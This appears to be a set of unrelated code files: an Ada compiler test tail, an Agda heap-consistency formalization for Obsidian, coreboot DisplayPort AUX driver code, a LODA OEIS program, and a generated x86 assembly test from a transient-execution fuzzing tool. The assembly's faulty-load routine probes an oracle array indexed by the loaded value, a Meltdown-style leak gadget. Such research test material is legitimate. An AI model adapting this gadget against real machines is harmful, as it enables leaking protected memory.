PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (- IDENT_INT(25) /= 'P') OR (- (0-25) /= 'N') THEN FAILED ("OVERLOADING OF ""-"" " & "OPERATOR (ONE OPERAND) DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("-" => ONE_PARAM); BEGIN -- (R) NULL; END; -- (R) ------------------------------------------------- DECLARE -- (S) GENERIC WITH FUNCTION "NOT" (I1 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (NOT IDENT_INT(25) /= 'P') OR (NOT (0-25) /= 'N') THEN FAILED ("OVERLOADING OF ""NOT"" " & "OPERATOR (ONE OPERAND) DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("NOT" => ONE_PARAM); BEGIN -- (S) NULL; END; -- (S) ------------------------------------------------- DECLARE -- (T) GENERIC WITH FUNCTION "ABS" (I1 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (ABS IDENT_INT(25) /= 'P') OR (ABS (0-25) /= 'N') THEN FAILED ("OVERLOADING OF ""ABS"" " & "OPERATOR (ONE OPERAND) DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("ABS" => ONE_PARAM); BEGIN -- (T) NULL; END; -- (T) ------------------------------------------------- RESULT; END C67002C;
formalization/heapPropertiesDefs.agda
ivoysey/Obsidian
79
3146
<filename>formalization/heapPropertiesDefs.agda module HeapPropertiesDefs where open import Silica import Relation.Binary.PropositionalEquality as Eq import Context open import Data.List.Relation.Unary.All import Relation.Unary import Data.List.Properties import Data.List open import Data.Sum open import Data.Maybe open import Data.List.Membership.DecSetoid ≡-decSetoid open import Data.List.Relation.Unary.Any open import Data.Empty open TypeEnvContext --============= Consistency ============== -- Relates typing environments and object references to lists of all types of possible references. -- For now, this is ordered; perhaps that is too strong and I should use <Set> instead. data _⟷_ : Type → Type → Set where symCompat : ∀ {T₁ T₂ : Type} → T₁ ⟷ T₂ --------- → T₂ ⟷ T₁ unownedCompat : ∀ {C C' : Id} → ∀ {perm perm' : Perm} → perm ≡ Unowned → C ≡ C' -------------------------------------------------------------- → contractType (tc C perm) ⟷ contractType (tc C' perm') sharedCompat : ∀ {t t' : Tc} → Tc.perm t ≡ Shared → Tc.perm t' ≡ Shared → Tc.contractName t ≡ Tc.contractName t' ---------------- → contractType t ⟷ contractType t' voidCompat : ---------------------- base Void ⟷ base Void booleanCompat : ---------------------- base Boolean ⟷ base Boolean -- ============= DEFINITIONS OF HEAP CONSISTENCY =============== ctxTypes : TypeEnv → ObjectRef → List Type ctxTypes ∅ _ = [] ctxTypes (Δ , o' ⦂ T) o with o ≟ o' ... | yes eq = [ T ] ... | no nEq = ctxTypes Δ o envTypesHelper : IndirectRefEnv → TypeEnv → ObjectRef → List Type envTypesHelper IndirectRefContext.∅ Δ o = [] envTypesHelper (IndirectRefContext._,_⦂_ ρ l (objVal o')) Δ o with (o' ≟ o) | (TypeEnvContext.lookup Δ l) ... | yes _ | just T = (T ∷ (envTypesHelper ρ Δ o)) ... | _ | _ = envTypesHelper ρ Δ o envTypesHelper (IndirectRefContext._,_⦂_ ρ l v) Δ o = envTypesHelper ρ Δ o makeEnvTypesList : RuntimeEnv → StaticEnv → ObjectRef → List Type makeEnvTypesList Σ Δ o = envTypesHelper (RuntimeEnv.ρ Σ) (StaticEnv.locEnv Δ) o -- The List IndirectRef is a list of locations that have already been used in previous calls (and are forbidden to be used again). data EnvTypes : RuntimeEnv → StaticEnv → ObjectRef → List IndirectRef → List Type → Set where envTypesConcatMatchFound : ∀ {R l T μ ρ φ ψ forbiddenRefs} → (Δ : StaticEnv) → (o : ObjectRef) → EnvTypes (re μ ρ φ ψ) Δ o (l ∷ forbiddenRefs) R → (StaticEnv.locEnv Δ) ∋ l ⦂ T → l ∉ forbiddenRefs → EnvTypes (re μ (ρ IndirectRefContext., l ⦂ (objVal o)) φ ψ) Δ o forbiddenRefs (T ∷ R) envTypesConcatMatchNotFound : ∀ {R l μ ρ φ ψ forbiddenRefs} → (Δ : StaticEnv) → (o : ObjectRef) → EnvTypes (re μ ρ φ ψ) Δ o forbiddenRefs R → l ∉dom (StaticEnv.locEnv Δ) → EnvTypes (re μ (ρ IndirectRefContext., l ⦂ (objVal o)) φ ψ) Δ o forbiddenRefs R envTypesConcatMismatch : ∀ {R l μ ρ φ ψ forbiddenRefs} → (Δ : StaticEnv) → (o o' : ObjectRef) → o ≢ o' → EnvTypes (re μ ρ φ ψ) Δ o forbiddenRefs R -- Mismatch in ρ, so keep looking in the rest of ρ → EnvTypes (re μ (ρ IndirectRefContext., l ⦂ (objVal o')) φ ψ) Δ o forbiddenRefs R envTypesEmpty : ∀ {μ φ ψ Δ o forbiddenRefs} → EnvTypes (re μ Context.∅ φ ψ) Δ o forbiddenRefs [] record RefTypes (Σ : RuntimeEnv) (Δ : StaticEnv) (o : ObjectRef) : Set where field oTypesList : List Type -- Corresponds to types from the o's in Δ. oTypes : ctxTypes (StaticEnv.objEnv Δ) o ≡ oTypesList envTypesList : List Type envTypes : EnvTypes Σ Δ o [] envTypesList fieldTypesList : List Type -- Corresponds to types from fields inside μ data IsConnectedTypeList : List Type → Set where emptyTypeList : ∀ {D} → D ≡ [] ---------- → IsConnectedTypeList D consTypeList : ∀ {T D} → All (λ T' → (T ⟷ T')) D → IsConnectedTypeList D ------------------------ → IsConnectedTypeList (T ∷ D) data IsConnectedEnvAndField (Σ : RuntimeEnv) (Δ : StaticEnv) (o : ObjectRef) : RefTypes Σ Δ o → Set where envTypesConnected : (R : RefTypes Σ Δ o) → IsConnectedTypeList (RefTypes.envTypesList R) → IsConnectedTypeList (RefTypes.fieldTypesList R) → All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList R)) (RefTypes.envTypesList R) -- all of the l types are connected to all of the field types ---------------------------------------------- → IsConnectedEnvAndField Σ Δ o R envFieldInversion1 : ∀ {Σ Δ o R} → IsConnectedEnvAndField Σ Δ o R → IsConnectedTypeList (RefTypes.envTypesList R) envFieldInversion1 (envTypesConnected R env f envField) = env envFieldInversion2 : ∀ {Σ Δ o R} → IsConnectedEnvAndField Σ Δ o R → IsConnectedTypeList (RefTypes.fieldTypesList R) envFieldInversion2 (envTypesConnected R env f envField) = f envFieldInversion3 : ∀ {Σ Δ o R} → IsConnectedEnvAndField Σ Δ o R → All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList R)) (RefTypes.envTypesList R) envFieldInversion3 (envTypesConnected R env f envField) = envField data IsConnected (Σ : RuntimeEnv) (Δ : StaticEnv) (o : ObjectRef) : RefTypes Σ Δ o → Set where isConnected : (R : RefTypes Σ Δ o) → IsConnectedTypeList (RefTypes.oTypesList R) → All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList R)) (RefTypes.oTypesList R) -- all of the o types are connected to all of the field types → All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList R)) (RefTypes.oTypesList R) -- all of the o types are connected to all of the l types → IsConnectedEnvAndField Σ Δ o R ---------------------------------------------- → IsConnected Σ Δ o R refFieldTypesHelper : ObjectRefEnv → StaticEnv → ObjectRef → List Type refFieldTypesHelper ObjectRefContext.∅ Δ o = [] refFieldTypesHelper (ObjectRefContext._,_⦂_ μ o' obj) Δ o = refFieldTypesHelper μ Δ o -- TODO; this is bogus! refFieldTypes : RuntimeEnv → StaticEnv → ObjectRef → List Type refFieldTypes Σ Δ o = refFieldTypesHelper (RuntimeEnv.μ Σ) Δ o -- ================================ OVERALL HEAP CONSISTENCY =========================== data ReferenceConsistency : RuntimeEnv → StaticEnv → ObjectRef → Set where referencesConsistent : ∀ {Σ : RuntimeEnv} → ∀ {Δ : StaticEnv} → ∀ {o : ObjectRef} → ∃[ RT ] (IsConnected Σ Δ o RT) -- TODO: add subtype constraint: C <: (refTypes Σ Δ o) --------------------------- → ReferenceConsistency Σ Δ o -- Inversion for reference consistency: connectivity referencesConsistentImpliesConnectivity : ∀ {Σ Δ o} → ReferenceConsistency Σ Δ o → ∃[ RT ] (IsConnected Σ Δ o RT) referencesConsistentImpliesConnectivity (referencesConsistent ic) = ic ------------ Global Consistency ----------- -- I'm going to need the fact that if an expression typechecks, and I find a location in it, then the location can be looked -- up in the runtime environment. But every location in the expression has to also be in the typing context, so I can state this -- without talking about expressions at all. data _&_ok : RuntimeEnv → StaticEnv → Set where ok : ∀ {Σ : RuntimeEnv} → ∀ (Δ : StaticEnv) → (∀ (l : IndirectRef) → ((StaticEnv.locEnv Δ) ∋ l ⦂ base Void → (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ voidVal))) → (∀ (l : IndirectRef) → ((StaticEnv.locEnv Δ) ∋ l ⦂ base Boolean → ∃[ b ] (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ boolVal b))) → (∀ (l : IndirectRef) → ∀ (T : Tc) → (StaticEnv.locEnv Δ) ∋ l ⦂ (contractType T) -- If a location is in Δ and has contract reference type... → ∃[ o ] (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal o × (o ObjectRefContext.∈dom (RuntimeEnv.μ Σ))) -- then location can be looked up in Σ... ) → (∀ o → o ObjectRefContext.∈dom (RuntimeEnv.μ Σ) → ReferenceConsistency Σ Δ o) -- TODO: add remaining antecedents --------------------------- → Σ & Δ ok -- Inversion for global consistency: reference consistency refConsistency : ∀ {Σ : RuntimeEnv} → ∀ {Δ : StaticEnv} → ∀ {o : ObjectRef} → ∀ {l : IndirectRef} → Σ & Δ ok → (∀ o → o ObjectRefContext.∈dom RuntimeEnv.μ Σ → ReferenceConsistency Σ Δ o) refConsistency (ok Δ _ _ _ rc) = rc -- Inversion for global consistency : location lookup for a particular location -- If l is in Δ and Σ & Δ ok, then l can be found in Σ.ρ. locLookup : ∀ {Σ : RuntimeEnv} → ∀ {Δ : StaticEnv} → ∀ {l : IndirectRef} → ∀ {T : Tc} → Σ & Δ ok → (StaticEnv.locEnv Δ) ∋ l ⦂ (contractType T) → ∃[ o ] (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal o × (o ObjectRefContext.∈dom (RuntimeEnv.μ Σ))) locLookup (ok Δ _ _ lContainment rc) lInDelta@(Z {Δ'} {x} {contractType a}) = lContainment x a lInDelta locLookup (ok Δ _ _ lContainment rc) lInDelta@(S {Δ'} {x} {y} {contractType a} {b} nEq xInRestOfDelta) = lContainment x a lInDelta voidLookup : ∀ {Σ : RuntimeEnv} → ∀ {Δ : StaticEnv} → ∀ {l : IndirectRef} → Σ & Δ ok → (StaticEnv.locEnv Δ) ∋ l ⦂ base Void → (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ voidVal) voidLookup (ok Δ voidContainment _ _ _) voidType@(Z {Δ'} {l} {a}) = voidContainment l voidType voidLookup (ok Δ voidContainment _ _ _) voidType@(S {Δ'} {l} {y} {a} {b} nEq lInRestOfDelta) = voidContainment l voidType boolLookup : ∀ {Σ : RuntimeEnv} → ∀ {Δ : StaticEnv} → ∀ {l : IndirectRef} → Σ & Δ ok → (StaticEnv.locEnv Δ) ∋ l ⦂ base Boolean → ∃[ b ] (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ boolVal b) boolLookup (ok Δ _ boolContainment _ _) boolType@(Z {Δ'} {l} {a}) = boolContainment l boolType boolLookup (ok Δ _ boolContainment _ _) boolType@(S {Δ'} {l} {y} {a} {b} nEq lInRestOfDelta) = boolContainment l boolType
firmware/coreboot/3rdparty/libgfxinit/common/hw-gfx-gma-dp_aux_request.adb
fabiojna02/OpenCellular
1
4570
<filename>firmware/coreboot/3rdparty/libgfxinit/common/hw-gfx-gma-dp_aux_request.adb -- -- Copyright (C) 2015-2016 secunet Security Networks AG -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- with HW.Time; with HW.Debug; with GNAT.Source_Info; with HW.GFX.GMA.Config; with HW.GFX.GMA.Registers; with HW.GFX.GMA.Power_And_Clocks; use type HW.Word8; use type HW.GFX.GMA.Registers.Registers_Invalid_Index; package body HW.GFX.GMA.DP_Aux_Request is DP_AUX_CTL_SEND_BUSY : constant := 1 * 2 ** 31; DP_AUX_CTL_DONE : constant := 1 * 2 ** 30; DP_AUX_CTL_INTERRUPT_ON_DONE : constant := 1 * 2 ** 29; DP_AUX_CTL_TIME_OUT_ERROR : constant := 1 * 2 ** 28; DP_AUX_CTL_TIME_OUT_TIMER_MASK : constant := 3 * 2 ** 26; DP_AUX_CTL_TIME_OUT_TIMER_400US : constant := 0 * 2 ** 26; DP_AUX_CTL_TIME_OUT_TIMER_600US : constant := 1 * 2 ** 26; DP_AUX_CTL_TIME_OUT_TIMER_800US : constant := 2 * 2 ** 26; DP_AUX_CTL_TIME_OUT_TIMER_1600US : constant := 3 * 2 ** 26; DP_AUX_CTL_RECEIVE_ERROR : constant := 1 * 2 ** 25; DP_AUX_CTL_MESSAGE_SIZE_MASK : constant := 31 * 2 ** 20; DP_AUX_CTL_MESSAGE_SIZE_SHIFT : constant := 2 ** 20; DP_AUX_CTL_PRECHARGE_TIME_MASK : constant := 15 * 2 ** 16; DP_AUX_CTL_PRECHARGE_TIME_SHIFT : constant := 2 ** 16; DP_AUX_CTL_2X_BIT_CLOCK_DIV_MASK : constant := 2047 * 2 ** 0; -- TODO: HSW/BDW with LPT-H might need a workaround for the 2x bit clock. subtype DP_AUX_CTL_MESSAGE_SIZE_T is Natural range 1 .. 20; function DP_AUX_CTL_MESSAGE_SIZE (Message_Length : DP_AUX_CTL_MESSAGE_SIZE_T) return Word32; DDI_AUX_MUTEX_MUTEX_ENABLE : constant := 1 * 2 ** 31; DDI_AUX_MUTEX_MUTEX_STATUS : constant := 1 * 2 ** 30; type AUX_CH_Data_Regs is new Positive range 1 .. 5; type AUX_CH_Data_Regs_Array is array (AUX_CH_Data_Regs) of Registers.Registers_Index; type AUX_CH_Registers is record CTL : Registers.Registers_Index; DATA : AUX_CH_Data_Regs_Array; MUTEX : Registers.Registers_Invalid_Index; end record; type AUX_CH_Registers_Array is array (DP_Port) of AUX_CH_Registers; AUX_CH : constant AUX_CH_Registers_Array := (if Config.Has_PCH_Aux_Channels then AUX_CH_Registers_Array' (DP_A => AUX_CH_Registers' (CTL => Registers.DP_AUX_CTL_A, DATA => AUX_CH_Data_Regs_Array' (1 => Registers.DP_AUX_DATA_A_1, 2 => Registers.DP_AUX_DATA_A_2, 3 => Registers.DP_AUX_DATA_A_3, 4 => Registers.DP_AUX_DATA_A_4, 5 => Registers.DP_AUX_DATA_A_5), MUTEX => Registers.Invalid_Register), DP_B => AUX_CH_Registers' (CTL => Registers.PCH_DP_AUX_CTL_B, DATA => AUX_CH_Data_Regs_Array' (1 => Registers.PCH_DP_AUX_DATA_B_1, 2 => Registers.PCH_DP_AUX_DATA_B_2, 3 => Registers.PCH_DP_AUX_DATA_B_3, 4 => Registers.PCH_DP_AUX_DATA_B_4, 5 => Registers.PCH_DP_AUX_DATA_B_5), MUTEX => Registers.Invalid_Register), DP_C => AUX_CH_Registers' (CTL => Registers.PCH_DP_AUX_CTL_C, DATA => AUX_CH_Data_Regs_Array' (1 => Registers.PCH_DP_AUX_DATA_C_1, 2 => Registers.PCH_DP_AUX_DATA_C_2, 3 => Registers.PCH_DP_AUX_DATA_C_3, 4 => Registers.PCH_DP_AUX_DATA_C_4, 5 => Registers.PCH_DP_AUX_DATA_C_5), MUTEX => Registers.Invalid_Register), DP_D => AUX_CH_Registers' (CTL => Registers.PCH_DP_AUX_CTL_D, DATA => AUX_CH_Data_Regs_Array' (1 => Registers.PCH_DP_AUX_DATA_D_1, 2 => Registers.PCH_DP_AUX_DATA_D_2, 3 => Registers.PCH_DP_AUX_DATA_D_3, 4 => Registers.PCH_DP_AUX_DATA_D_4, 5 => Registers.PCH_DP_AUX_DATA_D_5), MUTEX => Registers.Invalid_Register)) else AUX_CH_Registers_Array' (DP_A => AUX_CH_Registers' (CTL => Registers.DDI_AUX_CTL_A, DATA => AUX_CH_Data_Regs_Array' (1 => Registers.DDI_AUX_DATA_A_1, 2 => Registers.DDI_AUX_DATA_A_2, 3 => Registers.DDI_AUX_DATA_A_3, 4 => Registers.DDI_AUX_DATA_A_4, 5 => Registers.DDI_AUX_DATA_A_5), MUTEX => Registers.DDI_AUX_MUTEX_A), DP_B => AUX_CH_Registers' (CTL => Registers.DDI_AUX_CTL_B, DATA => AUX_CH_Data_Regs_Array' (1 => Registers.DDI_AUX_DATA_B_1, 2 => Registers.DDI_AUX_DATA_B_2, 3 => Registers.DDI_AUX_DATA_B_3, 4 => Registers.DDI_AUX_DATA_B_4, 5 => Registers.DDI_AUX_DATA_B_5), MUTEX => Registers.DDI_AUX_MUTEX_B), DP_C => AUX_CH_Registers' (CTL => Registers.DDI_AUX_CTL_C, DATA => AUX_CH_Data_Regs_Array' (1 => Registers.DDI_AUX_DATA_C_1, 2 => Registers.DDI_AUX_DATA_C_2, 3 => Registers.DDI_AUX_DATA_C_3, 4 => Registers.DDI_AUX_DATA_C_4, 5 => Registers.DDI_AUX_DATA_C_5), MUTEX => Registers.DDI_AUX_MUTEX_C), DP_D => AUX_CH_Registers' (CTL => Registers.DDI_AUX_CTL_D, DATA => AUX_CH_Data_Regs_Array' (1 => Registers.DDI_AUX_DATA_D_1, 2 => Registers.DDI_AUX_DATA_D_2, 3 => Registers.DDI_AUX_DATA_D_3, 4 => Registers.DDI_AUX_DATA_D_4, 5 => Registers.DDI_AUX_DATA_D_5), MUTEX => Registers.DDI_AUX_MUTEX_D))); ---------------------------------------------------------------------------- function DP_AUX_CTL_MESSAGE_SIZE (Message_Length : DP_AUX_CTL_MESSAGE_SIZE_T) return Word32 is begin return Word32 (Message_Length) * DP_AUX_CTL_MESSAGE_SIZE_SHIFT; end DP_AUX_CTL_MESSAGE_SIZE; ---------------------------------------------------------------------------- procedure Aux_Request_Low (Port : in DP_Port; Request : in DP_Defs.Aux_Request; Request_Length : in DP_Defs.Aux_Request_Length; Response : out DP_Defs.Aux_Response; Response_Length : out DP_Defs.Aux_Response_Length; Success : out Boolean) with Global => (In_Out => Registers.Register_State, Input => (Time.State, Config.Raw_Clock)), Depends => ((Registers.Register_State, Response, Response_Length, Success) => (Registers.Register_State, Config.Raw_Clock, Time.State, Port, Request, Request_Length)) is procedure Write_Data_Reg (Register : in Registers.Registers_Index; Buf : in DP_Defs.Aux_Request; Length : in DP_Defs.Aux_Request_Length; Offset : in DP_Defs.Aux_Request_Index) is Value : Word32; Count : Natural; begin if Offset < Length then if Length - Offset > 4 then Count := 4; else Count := Length - Offset; end if; Value := 0; for Idx in DP_Defs.Aux_Request_Index range 0 .. Count - 1 loop Value := Value or Shift_Left (Word32 (Buf (Offset + Idx)), (3 - Idx) * 8); end loop; Registers.Write (Register => Register, Value => Value); end if; end Write_Data_Reg; procedure Read_Data_Reg (Register : in Registers.Registers_Index; Buf : in out DP_Defs.Aux_Response; Length : in DP_Defs.Aux_Response_Length; Offset : in DP_Defs.Aux_Response_Index) is Value : Word32; Count : DP_Defs.Aux_Response_Length; begin if Offset < Length then if Length - Offset > 4 then Count := 4; else Count := Length - Offset; end if; Registers.Read (Register => Register, Value => Value); for Idx in 0 .. Count - 1 loop Buf (Offset + Idx) := Word8 (Shift_Right (Value, (3 - Idx) * 8) and 16#ff#); end loop; end if; end Read_Data_Reg; DP_AUX_CTL_2x_Clock_Mask : constant := (if Config.Has_PCH_Aux_Channels then DP_AUX_CTL_2X_BIT_CLOCK_DIV_MASK else 0); DP_AUX_CTL_2x_Clock : constant Word32 := (if Config.Has_PCH_Aux_Channels then (if Port = DP_A then Word32 ((Config.Default_CDClk_Freq + 1_000_000) / 2_000_000) else Word32 ((Config.Raw_Clock + 1_000_000) / 2_000_000)) elsif Config.Has_GMCH_RawClk then Word32 (Div_Round_Closest (Config.Raw_Clock, 2_000_000)) else 0); Busy : Boolean; Status : Word32; begin Response := (others => 0); -- Don't care Response_Length := DP_Defs.Aux_Response_Length'First; if Config.Need_DP_Aux_Mutex then Registers.Set_Mask (Register => AUX_CH (Port).MUTEX, Mask => DDI_AUX_MUTEX_MUTEX_ENABLE); Registers.Wait_Set_Mask (Register => AUX_CH (Port).MUTEX, Mask => DDI_AUX_MUTEX_MUTEX_STATUS); end if; Registers.Is_Set_Mask (Register => AUX_CH (Port).CTL, Mask => DP_AUX_CTL_SEND_BUSY, Result => Busy); if Busy then Success := False; else for Idx in AUX_CH_Data_Regs loop Write_Data_Reg (Register => AUX_CH (Port).DATA (Idx), Buf => Request, Length => Request_Length, Offset => (Natural (Idx) - 1) * 4); end loop; Registers.Unset_And_Set_Mask (Register => AUX_CH (Port).CTL, Mask_Unset => DP_AUX_CTL_INTERRUPT_ON_DONE or DP_AUX_CTL_TIME_OUT_TIMER_MASK or DP_AUX_CTL_MESSAGE_SIZE_MASK or DP_AUX_CTL_2x_Clock_Mask, Mask_Set => DP_AUX_CTL_SEND_BUSY or -- starts transfer DP_AUX_CTL_DONE or -- clears the status DP_AUX_CTL_TIME_OUT_ERROR or -- clears the status DP_AUX_CTL_RECEIVE_ERROR or -- clears the status DP_AUX_CTL_TIME_OUT_TIMER_600US or DP_AUX_CTL_MESSAGE_SIZE (Request_Length) or DP_AUX_CTL_2x_Clock); Registers.Wait_Unset_Mask (Register => AUX_CH (Port).CTL, Mask => DP_AUX_CTL_SEND_BUSY); Registers.Read (Register => AUX_CH (Port).CTL, Value => Status); Success := (Status and (DP_AUX_CTL_TIME_OUT_ERROR or DP_AUX_CTL_RECEIVE_ERROR)) = 0; if Success then Status := (Status and DP_AUX_CTL_MESSAGE_SIZE_MASK) / DP_AUX_CTL_MESSAGE_SIZE_SHIFT; if Natural (Status) < DP_Defs.Aux_Response_Length'First then Success := False; elsif Natural (Status) > DP_Defs.Aux_Response_Length'Last then Response_Length := DP_Defs.Aux_Response_Length'Last; else Response_Length := Natural (Status); end if; end if; if Success then for Idx in AUX_CH_Data_Regs loop Read_Data_Reg (Register => AUX_CH (Port).DATA (Idx), Buf => Response, Length => Response_Length, Offset => (Natural (Idx) - 1) * 4); end loop; end if; end if; if Config.Need_DP_Aux_Mutex then Registers.Unset_And_Set_Mask (Register => AUX_CH (Port).MUTEX, Mask_Unset => DDI_AUX_MUTEX_MUTEX_ENABLE, Mask_Set => DDI_AUX_MUTEX_MUTEX_STATUS); -- frees the mutex end if; end Aux_Request_Low; ---------------------------------------------------------------------------- procedure Do_Aux_Request (Port : in DP_Port; Request : in DP_Defs.Aux_Request; Request_Length : in DP_Defs.Aux_Request_Length; Response : out DP_Defs.Aux_Response; Response_Length : out DP_Defs.Aux_Response_Length; Success : out Boolean) is begin for Try in Positive range 1 .. 3 loop Aux_Request_Low (Port => Port, Request => Request, Request_Length => Request_Length, Response => Response, Response_Length => Response_Length, Success => Success); exit when Success; end loop; end Do_Aux_Request; end HW.GFX.GMA.DP_Aux_Request;
oeis/312/A312101.asm
neoneye/loda-programs
11
242276
<reponame>neoneye/loda-programs ; A312101: Coordination sequence Gal.6.150.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by <NAME> ; 1,4,8,13,18,22,27,32,36,41,46,50,54,58,62,67,72,76,81,86,90,95,100,104,108,112,116,121,126,130,135,140,144,149,154,158,162,166,170,175,180,184,189,194,198,203,208,212,216,220 mov $1,$0 seq $1,315689 ; Coordination sequence Gal.6.624.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mov $2,$0 mul $0,7 sub $0,1 mod $0,$1 mul $2,3 add $0,$2 add $0,1
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2522.asm
ljhsiun2/medusa
9
246320
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1e524, %r15 xor $617, %rdi movw $0x6162, (%r15) nop nop nop and $10783, %rdi lea addresses_WT_ht+0x382a, %rbp nop nop nop and $57908, %r9 movb (%rbp), %r11b nop nop sub $59185, %rdi lea addresses_A_ht+0x11c18, %rsi lea addresses_A_ht+0xdc60, %rdi and $35147, %rbx mov $35, %rcx rep movsq nop nop nop nop nop cmp %r15, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %rax push %rbp // Faulty Load lea addresses_D+0x174a0, %rax nop nop sub %rbp, %rbp mov (%rax), %r8d lea oracles, %r15 and $0xff, %r8 shlq $12, %r8 mov (%r15,%r8,1), %r8 pop %rbp pop %rax pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 